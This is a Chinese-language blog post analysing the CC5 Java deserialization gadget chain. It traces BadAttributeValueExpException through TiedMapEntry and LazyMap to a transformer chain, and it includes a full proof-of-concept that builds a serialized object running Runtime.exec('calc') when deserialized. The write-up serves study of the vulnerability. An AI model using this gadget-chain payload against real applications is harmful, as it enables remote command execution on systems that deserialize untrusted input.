CC5链分析

本文最后更新于:2024年10月9日 晚上

CC5链:CC1-LazyMap派生

前面已经分析到了CC8了,暂停一下回过头来分析暂时抛弃的CC5,CC5也是很简单的一条链,派生于CC1-LazyMap。

我们看ysoserial源码中CommonsCollections5.java,可以发现就只是更改了一下入口点,BadAttributeValueExpException

那我们直接去分析这个新类即可,很简短的一个类,占比较大的甚至是它的readObject方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

比较可疑的是valObj.toString(),一个一个来看,首先需要确定的是,这里的valObj就是我们需要构造的类,那么先去看LazyMap,其没有自己实现toString而是直接使用父类AbstractMapDecorator的,但是没有代码执行点,故不行,那会是哪个类呢,想一下之前分析的CC6,其中用到了TiedMapEntry.getValue()方法,去看看其toString,调用了getValue()方法,所以就连上了

1
2
3
4
5
6
7
8
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}

链子很简单:

1
2
3
4
5
BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->CC-1

可以构造测试代码:

这里有值得注意的地方,BadAttributeValueExpException的构造函数,如果不是非空则直接toString调用将类型强转为String类了,这当然是不行的,所以需要在构造实例后,通过反射修改私有变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 第二层
Map<Object, Object> hashMap = new HashMap<>();
Map innerMap = LazyMap.decorate(hashMap,transformerChain);
TiedMapEntry mapEntry = new TiedMapEntry(innerMap,"3xsh0re");
BadAttributeValueExpException attributeValue = new BadAttributeValueExpException(null);

setFieldValue(transformerChain,"iTransformers",transformers);
setFieldValue(attributeValue,"val",mapEntry);
hashMap.remove("3xsh0re");

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(attributeValue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

CC链分析完整测试代码,可直接拉取


CC5链分析
https://3xsh0re.github.io/2024/10/06/CC5链分析/
作者
3xsh0re
发布于
2024年10月6日
许可协议